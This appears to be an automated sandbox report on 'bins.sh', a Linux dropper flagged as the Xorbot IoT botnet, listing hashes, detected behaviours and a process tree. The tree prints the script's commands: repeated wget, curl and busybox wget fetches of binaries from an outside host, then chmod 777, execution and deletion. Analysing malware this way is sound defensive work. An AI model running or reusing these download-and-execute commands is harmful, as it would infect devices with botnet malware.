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Analysis

  • max time kernel
    149s
  • max time network
    24s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    05/01/2025, 13:30

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    91c2144bd8f409393240434d81002662

  • SHA1

    a2eb7da173ffc5f293f72d79735c61623ececcd5

  • SHA256

    817f994e9e4bee4864261a902c6df088048aedd4532775b98c065d3f404bcce5

  • SHA512

    56148bba9d79076971845c8b68eb9e6e37f4edbc768d43f9dcd368c8ff0ae4ba3d7cb88fd45aacc535c107cca313b1bef58dc598cd76ecec06ceca4b49aba4fb

  • SSDEEP

    192:QiarAUrGnMAryIlTEvEnEkEREdE0qFvUUEvEnEkEREdE3WMAryIl9iarAUs:2GB1qFvUXUA

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 11 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:703
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:706
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:711
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:732
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
          2⤵
          • System Network Configuration Discovery
          PID:734
        • /bin/chmod
          chmod 777 Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
          ./Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
          2⤵
          • Executes dropped EXE
          PID:739
        • /bin/rm
          rm Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
          2⤵
            PID:742
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:744
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:761
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
            2⤵
            • System Network Configuration Discovery
            PID:775
          • /bin/chmod
            chmod 777 CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
            2⤵
            • File and Directory Permissions Modification
            PID:788
          • /tmp/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
            ./CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
            2⤵
            • Executes dropped EXE
            PID:789
          • /bin/rm
            rm CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
            2⤵
              PID:791
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:792
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:793
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
              2⤵
              • System Network Configuration Discovery
              PID:822
            • /bin/chmod
              chmod 777 oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
              2⤵
              • File and Directory Permissions Modification
              PID:826
            • /tmp/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
              ./oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
              2⤵
              • Executes dropped EXE
              PID:827
            • /bin/rm
              rm oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub
              2⤵
                PID:829
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:830
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                PID:831

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • /tmp/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv

              Filesize

              107KB

              MD5

              eb9c3a0de91fcf16ba17cb24608df68c

              SHA1

              09d95a7d70d5e115d103be51edff7c498d272fac

              SHA256

              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

              SHA512

              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

            • /tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD

              Filesize

              119KB

              MD5

              1b166b95f9cb4b079ef1b9ec8363ddf3

              SHA1

              0d8eb08add467b3b5474f9b25909297fe7c2839c

              SHA256

              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

              SHA512

              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

            • /tmp/eNC2m49GJlHF3vLZQqlSYMlwa0LkvP5IVJ

              Filesize

              112KB

              MD5

              05d7857dcead18bbd86d2935f591873c

              SHA1

              34d18f41ef35f93d5364ce3e24d74730a4e91985

              SHA256

              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

              SHA512

              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

            • /tmp/oshgaGxNAgkukay0hjBVSk4y7wYZaKsmub

              Filesize

              117KB

              MD5

              849fa04ef88a8e8de32cb2e8538de5fe

              SHA1

              c768af29fe4b6695fff1541623e8bbd1c6f242f7

              SHA256

              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

              SHA512

              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf